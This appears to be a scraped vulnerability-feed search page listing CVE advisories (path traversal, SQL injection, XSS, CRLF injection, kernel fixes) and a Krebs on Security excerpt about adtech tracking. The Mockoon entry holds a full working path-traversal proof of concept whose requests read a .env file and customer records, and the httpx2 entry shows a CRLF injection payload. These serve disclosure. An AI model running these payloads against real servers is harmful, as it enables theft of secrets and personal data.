Search: File.txt
335 threats
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| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Medium | 6.5 | EPSS 0.5% | Medium6.5EPSS 0.5%GCVE DatabaseCVE-2026-59149 ## Summary A `FILE` response whose `filePath` embeds request data (e.g. `"/srv/public/{{queryParam 'name'}}"`, the documented way to let the client pick a file) is confined by `getSafeFilePath` with `resolvedPath.startsWith(staticBaseDir)`. That prefix test has no path-separator boundary, so a `../`-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory. ## Details `packages/commons-server/src/libs/server/server.ts`, `getSafeFilePath` (line 2315). The static base is the text before the first `{{`, resolved to an absolute path; the parsed `filePath` is then bounded by a string-prefix check: ```ts const staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null; // 2336 const parsedFilePath = TemplateParser({ ... request ... }); // request-controlled const resolvedPath = resolvePath(parsedFilePath); if (isPathAbsolute) { if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) { // 2355 throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`); } } else if (!resolvedPath.startsWith(this.options.environmentDirectory)) { // 2362 throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`); } ``` With `"/srv/public/{{queryParam 'name'}}"`, `staticBaseDir = /srv/public`. A request `name=../public_backup/.env` resolves to `/srv/public_backup/.env`, and `"/srv/public_backup/.env".startsWith("/srv/public")` is `true` → served. Any sibling whose absolute path begins with the string `/srv/public` is reachable; the relative branch (`:2362`) is the same against `environmentDirectory`. A correct check appends `sep` to the base, or rejects when `relative(base, resolvedPath)` starts with `..`. `filePath` is request-controlled (`queryParam`/`urlParam`/header/body via `TemplateParser`) for every `FILE` response: HTTP `sendFile` (`:1762`), WebSocket (`:1145`), callbacks (`:1586`). ## PoC ```sh cat > /tmp/poc.sh <<'POC' set -e mkdir -p /work/public /work/public_backup && cd /work echo 'public landing page' > public/index.txt echo 'AWS_SECRET_ACCESS_KEY=redacted' > public_backup/.env echo 'Michael, michael@example.com, 555-22-7741' > public_backup/customers.csv cat > env.json <<'JSON' {"uuid":"00000000-0000-0000-0000-000000000001","lastMigration":33,"name":"f","port":3000,"hostname":"","folders":[], "routes":[{"uuid":"11111111-0000-0000-0000-000000000001","type":"http","documentation":"","method":"get","endpoint":"download", "responses":[{"uuid":"22222222-0000-0000-0000-000000000001","body":"","latency":0,"statusCode":200,"label":"","headers":[], "bodyType":"FILE","filePath":"/work/public/{{queryParam 'name'}}","sendFileAsBody":true,"rules":[],"rulesOperator":"OR", "disableTemplating":false,"fallbackTo404":false,"default":true,"crudKey":"id","callbacks":[]}], "responseMode":null,"streamingMode":null,"streamingInterval":0}], "rootChildren":[{"type":"route","uuid":"11111111-0000-0000-0000-000000000001"}], "proxyMode":false,"proxyHost":"","proxyRemovePrefix":false, "tlsOptions":{"enabled":false,"type":"CERT","pfxPath":"","certPath":"","keyPath":"","caPath":"","passphrase":""}, "cors":true,"headers":[],"proxyReqHeaders":[],"proxyResHeaders":[],"data":[]} JSON npm i -g @mockoon/cli@9.6.1 >/dev/null 2>&1 mockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 & sleep 6 node -e ' const UA={headers:{"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"}}; const g=async(q)=>{const r=await fetch("http://127.0.0.1:3000/download?name="+encodeURIComponent(q),UA);return (await r.text()).trim();}; (async()=>{ console.log("[*] intended file (public/index.txt) :",await g("index.txt")); console.log("[+] escape -> ../public_backup/.env :",await g("../public_backup/.env")); console.log("[+] escape -> ../public_backup/customers:",await g("../public_backup/customers.csv")); })();' POC docker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh ``` Output: ```text [*] intended file (public/index.txt) : public landing page [+] escape -> ../public_backup/.env : AWS_SECRET_ACCESS_KEY=redacted [+] escape -> ../public_backup/customers: Michael, michael@example.com, 555-22-7741 ``` `../public_backup/.env` and `../public_backup/customers.csv` are served, outside `/work/public/`, because their absolute paths string-prefix `/work/public` | GCVE Database | ||
| Medium | 5.3 | EPSS 0.6% | CVE-2026-86515vgmstream · Resource Consumption Medium5.3EPSS 0.6%CVE Database V5CVE-2026-86515 A security vulnerability has been detected in vgmstream up to r2117. Impacted is the function add_entry of the file src/meta/txtp_parser.c of the component txtp. Such manipulation of the argument range_start/range_end leads to resource consumption. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. The name of the patch is 4b6a02dd1aff6428255db912563d77d4cb0a143e. It is advisable to implement a patch to correct this issue. EPSS 0.6%Vulnerability | CVE Database V5 | ||
| Medium | 5.3 | EPSS 0.5% | CVE-2026-86514vgmstream · Stack-based Buffer Overflow Medium5.3EPSS 0.5%CVE Database V5CVE-2026-86514 A weakness has been identified in vgmstream up to r2117. This issue affects the function sscanf of the file src/meta/txth.c of the component txth-txtp. This manipulation causes stack-based buffer overflow. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. Patch name: 4669d37a6af94866f6f0628678f9f90d46954e8b. To fix this issue, it is recommended to deploy a patch. | CVE Database V5 | ||
| Low | 2.5 | EPSS 0.2% | Low2.5EPSS 0.2%GCVE DatabaseCVE-2026-71514 NLTK versions 3.9.4 through 3.10.2 have a path traversal vulnerability in the CrubadanCorpusReader component. This flaw allows an attacker controlling a corpus package to read arbitrary files outside the intended corpus directory by exploiting improper path validation when loading language n-gram files. The vulnerability is limited to files ending with '-3grams.txt' that parse as token count lines. A fix is available in version 3.8.1_2. | GCVE Database | ||
| Medium | 5.3 | EPSS 0.3% | CVE-2026-84379pydantic httpx2 · CRLF Injection Medium5.3EPSS 0.3%CVE Database V5CVE-2026-84379 ### Summary HTTPX2 serializes the per-file `Content-Type` and custom headers supplied through the `files=` tuple API directly into the `multipart/form-data` body without validating custom header names or values. An attacker who can influence upload metadata passed to HTTPX2 can use CR or LF characters to terminate a multipart part header and inject additional part headers or end the part header block early. ### Details The three-element file tuple accepts `(filename, content, content_type)`, and the four-element form accepts `(filename, content, content_type, headers)`. `FileField.render_headers()` interpolates the supplied header names and values between CRLF delimiters without validating them. For example: ```python import httpx2 request = httpx2.Request( "POST", "https://example.com/upload", headers={"Content-Type": "multipart/form-data; boundary=BOUNDARY"}, files={ "file": ( "safe.txt", b"payload", "text/plain\r\nX-Injected: true", ) }, ) print(request.read().decode()) ``` The generated body contains an attacker-injected part header: ```text --BOUNDARY Content-Disposition: form-data; name="file"; filename="safe.txt" Content-Type: text/plain X-Injected: true payload --BOUNDARY-- ``` The same issue affects names and values in the custom header mapping from the four-element tuple. Field names and filenames are serialized through a separate escaping path and do not permit CRLF header injection. ### Impact Applications are affected when they pass attacker-controlled upload metadata into the per-file `content_type` or custom `headers` arguments. The receiving server interprets injected lines as genuine multipart part headers. Depending on how that server validates and processes uploads, this can alter part semantics or bypass checks based on part headers. This does not split the outer HTTP request: the injected headers are contained within the multipart body. The concrete security impact therefore depends on the downstream multipart parser and application behavior. ### Mitigation Upgrade to HTTPX2 `2.11.0` or later. Patched versions reject forbidden control characters in multipart part header names and values and raise `ValueError` before serializing the request. If upgrading is not immediately possible, applications should validate custom multipart header names as HTTP field-name tokens. They should reject NUL, CR, LF, other C0 controls except horizontal tab, and DEL in per-file content types and custom header values before passing them to HTTPX2. | CVE Database V5 | ||
| Medium | 6.5 | EPSS 0.5% | Medium6.5EPSS 0.5%GCVE DatabaseCVE-2026-63667 ApostropheCMS's @apostrophecms/import-export module (versions before 3.6.2) contains a path traversal vulnerability that allows authenticated contributors to read arbitrary files on the host system. This occurs because the module constructs file paths from unvalidated JSON metadata fields in an imported archive, enabling traversal outside the intended directory. Files with certain allowed extensions (e.g., txt, csv, pdf) can be read and then served publicly without authentication. The vulnerability requires contributor-level access and is fixed in version 3.6.2. | GCVE Database | ||
| Medium | 5.3 | EPSS 0.4% | CVE-2026-82601SeaCMS · Cross-site Scripting Medium5.3EPSS 0.4%CVE Database V5CVE-2026-82601 SeaCMS versions 13.0 through 13.6 contain a cross-site scripting (XSS) vulnerability in the /err.php file via the errtxt parameter. This vulnerability allows remote attackers to inject malicious scripts. The vulnerability has a medium severity with a CVSS score of 5.3. Public exploit code is available, but no official patch or remediation guidance has been provided yet. | CVE Database V5 | ||
| Medium | 6.9 | EPSS 0.5% | CVE-2026-78051alexta69 MeTube · Files or Directories Accessible Medium6.9EPSS 0.5%CVE Database V5CVE-2026-78051 CVE-2026-78051 is a medium severity vulnerability in alexta69 MeTube versions 2026.06.0 through 2026.06.10. It involves unauthorized access to files or directories via the Cookie File Handler component, specifically the /download/.metube/cookies.txt file. The vulnerability can be exploited remotely without authentication. A public exploit disclosure exists. Upgrading to version 2026.06.20 resolves the issue. EPSS 0.5%Vulnerability | CVE Database V5 | ||
| Medium | 6.9 | EPSS 0.4% | CVE-2026-75986code-projects Online Job Portal System · SQL Injection Medium6.9EPSS 0.4%CVE Database V5CVE-2026-75986 CVE-2026-75986 is a SQL injection vulnerability in the code-projects Online Job Portal System version 1.0. It affects an unknown function in the /ForPass.php file related to the Password Recovery component. The vulnerability allows remote attackers to manipulate the txtUserName argument to perform SQL injection. The exploit has been publicly disclosed. The vulnerability has a medium severity with a CVSS 4.0 base score of 6.9. EPSS 0.4%Vulnerability | CVE Database V5 | ||
| Medium | 6.5 | EPSS 0.4% | CVE-2026-69160OpenListTeam OpenList · Insecure Direct Object Reference Medium6.5EPSS 0.4%CVE Database V5CVE-2026-69160 OpenList a file list program that supports multiple storage. Prior to 4.2.4, the share creation and update checks in server/handles/sharing.go use strings.HasPrefix(requested_path, user.BasePath) without enforcing a directory separator boundary. An authenticated user with CanShare permission and a BasePath such as /base can submit a sibling path such as /base2/secret.txt, create a share for the out-of-scope file, and use the public share download or list handlers to read data outside the assigned directory. This issue is fixed in version 4.2.4. | CVE Database V5 | ||
| Medium | – | EPSS 0.2% | CVE-2026-74486Linux kernel · binfmt_misc: use exe_file_deny_write_access() for the interpreter clone MediumEPSS 0.2%GCVE DatabaseCVE-2026-74486 In the Linux kernel, the following vulnerability has been resolved: binfmt_misc: use exe_file_deny_write_access() for the interpreter clone For MISC_FMT_OPEN_FILE entries load_misc_binary() clones the registered interpreter file and denies write access to the clone via plain deny_write_access(). The clone is installed as bprm->interpreter and later released by the exec machinery through exe_file_allow_write_access() which skips the i_writecount increment for files with FMODE_FSNOTIFY_HSM set. The deny and allow side can therefore come to different conclusions when pre-content watches are in play: if a pre-content watch is added to the interpreter after registration every subsequent exec through that entry takes a write denial on the clone that is never paired with a write allowance, driving the interpreter inode's i_writecount further down with each exec and leaving the interpreter unwritable even after the entry and all its users are gone. Take the write denial via exe_file_deny_write_access() so both sides of the pairing base their decision on the same file mode, and propagate failure instead of silently ignoring it: an interpreter that is concurrently open for writing now fails the exec with ETXTBSY, exactly like an interpreter freshly opened via open_exec() would. | GCVE Database | ||
| Medium | 4.8 | EPSS 0.2% | Medium4.8EPSS 0.2%GCVE DatabaseCVE-2026-74487 In the Linux kernel, the following vulnerability has been resolved: binfmt_misc: restore write access when removing an entry Registering an entry with the MISC_FMT_OPEN_FILE flag opens the interpreter via open_exec() which denies write access to it for as long as the entry exists. Removing the entry closes the interpreter file via filp_close() but never restores write access, leaving the inode's i_writecount permanently negative. Opening the interpreter for writing keeps failing with ETXTBSY long after the entry is gone until the inode is evicted from the inode cache. Commit 90f601b497d7 ("binfmt_misc: restore write access before closing files opened by open_exec()") fixed the same imbalance in the error path of bm_register_write() but the actual removal path has been leaking the write denial since the introduction of the flag. Restore write access in put_binfmt_handler() before closing the interpreter file. | GCVE Database | ||
| –Not rated | – | Krebs on Security It can be daunting to determine who’s responsible for showing ads on the websites we visit, or who’s harvesting data from the mobile apps we use every day. That information is already semi-public, but it is not easily parsed and traditionally much of it has remained walled away in the hands of large advertising platforms. Not anymore: A powerful and free new service called DecryptAds scrapes and correlates this adtech data and makes it simple to quickly learn a great deal about the entities that are tracking you. A Decryptads summary of the advertising partnerships declared by espn.com. The newly launched decryptads.com says it is constantly scraping the files that websites and apps make publicly available to disclose the companies that are permitted to run ads or collect user data. These files include: – ads.txt : all of the adtech companies and data brokers that may run ads or harvest data from the site; – app-ads.txt : entities that can harvest data from or display ads on mobile and smart TV apps; – buyers.json/sellers.json : the entities buying, selling or reselling ad inventory for a given site or app. Zach Edwards is chief research officer for DecryptAds and a threat researcher at the security company Infoblox . Edwards said he and two other founders decided the service was needed because the adtech data in these files is generally only useful when it can be cross-referenced to build a more complete picture of the advertising ecosystem for each website or app. “It’s an adtech tool but we’re trying to approach adtech from a security perspective,” Edwards said. “It’s really built for a lot of privacy and security use cases that have been dramatically underserved.” Those use cases, he said, include tracking down the source of malicious ads that try to foist malware on targeted users, identifying ad networks located in adversarial nations, and detecting the fast growing swarms of AI-generated slop websites and apps. And as decryptads.com demonstrates, these potential security and privacy threats are near impossible to detect just by viewing a single apps.txt or app-ads.txt file. “Supply-chain integrity issues rarely live in a single file,” the site explains . “They show up as broken cross-references between ads.txt, app-ads.txt, and sellers.json files; as cloned declaration sets across unrelated domains; as seller removals that only make sense when viewed across exchanges; and even as supply paths in bid logs that never actually appear in any given publisher’s authorized-seller list.” A search in DecryptAds for the hugely popular sports network espn.com reveals 143 ad partners and 19 registered data broker domains are listed within its ads.txt and app-ads.txt files. That data broker information is gradually becoming available because four states — California, Oregon, Texas and Vermont — have recently passed laws requiring data brokers to register if they buy or sell data on consumers from those states. DecryptAds reports that almost half of those data brokers are collecting geolocation data from espn.com visitors who aren’t blocking ads, while another three disclose that they collect device fingerprints and sensitive personal information. A visual representation of the complex ad supply chain declared by espn.com. Image: decryptads.com. HIGH-RISK AD PARTNERS DecryptAds also makes it easy to learn the beneficiaries and national origins of the advertising firms lurking in apps and websites, displaying a conspicuous warning when adtech partners of an app or website are based in “geo-risk” areas like China and Russia, or in countries with strong financial and political ties to both — such as Cyprus and the United Arab Emirates (UAE). According to DecryptAds, espn.com works with four different advertising entities that are based in either Russia, China or the UAE, including the adtech firm Between Digital , which lists a New York address. However, the dossier on Between Digital flags them as a Russian firm, showing that their pub… | Krebs on Security | |||
| Medium | 5.3 | MirageEPSS 74% | Medium5.3MirageEPSS 74%GCVE Database A vulnerability in Vite allows bypassing the server.fs.deny restriction when using the ?raw?? or ?import&raw?? query parameters, enabling access to arbitrary file contents. This affects Vite dev servers explicitly exposed to the network via the --host option or server.host configuration. The issue arises because trailing separators in the query string are removed inconsistently, allowing unauthorized file reads outside the allowed serving paths. A proof of concept demonstrates reading sensitive files such as /tmp/secret.txt. The vulnerability affects Vite versions from 2.5.1 up to but not including 6.2.3. A patch is available to address this issue. The CVSS score is 5.3 (medium severity). | GCVE Database | ||
| Medium | 6.8 | EPSS 0.2% | CVE-2026-49988repomix · attach_packed_output can bypass file-read secret scanning for supported local files Medium6.8EPSS 0.2%GCVE DatabaseCVE-2026-49988 Repomix MCP server's attach_packed_output tool can bypass secret scanning when reading local .json, .txt, .md, or .xml files. This allows reading arbitrary local files without the secret check enforced by the file_system_read_file tool. The issue affects repomix versions from 0.2.1 up to but not including 1.14.1 and is fixed in version 1.14.1. | GCVE Database | ||
| High | 7.5 | EPSS 0.9% | High7.5EPSS 0.9%CVE Database V5CVE-2026-13457 The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 0.1.3.6 via the (top-level script) function. This is due to the plugin stores its encrypted options file as options-{migrate_key}.txt in wp-content/instawpbackups/ without deploying an index.php or .htaccess to prevent directory listing, exposing the 40-character migrate_key on Apache servers with directory indexing enabled, which allows an attacker to derive the AES-256-CBC passphrase via SHA256(migrate_key), decrypt the options file to recover the api_signature. This makes it possible for unauthenticated attackers to get the database access details and api_signature. Exploitation requires the target WordPress site to be hosted on Apache with directory listing enabled (Options +Indexes) for the wp-content/instawpbackups/ directory, and time limited because it can only be exploited during the migration period. | CVE Database V5 |
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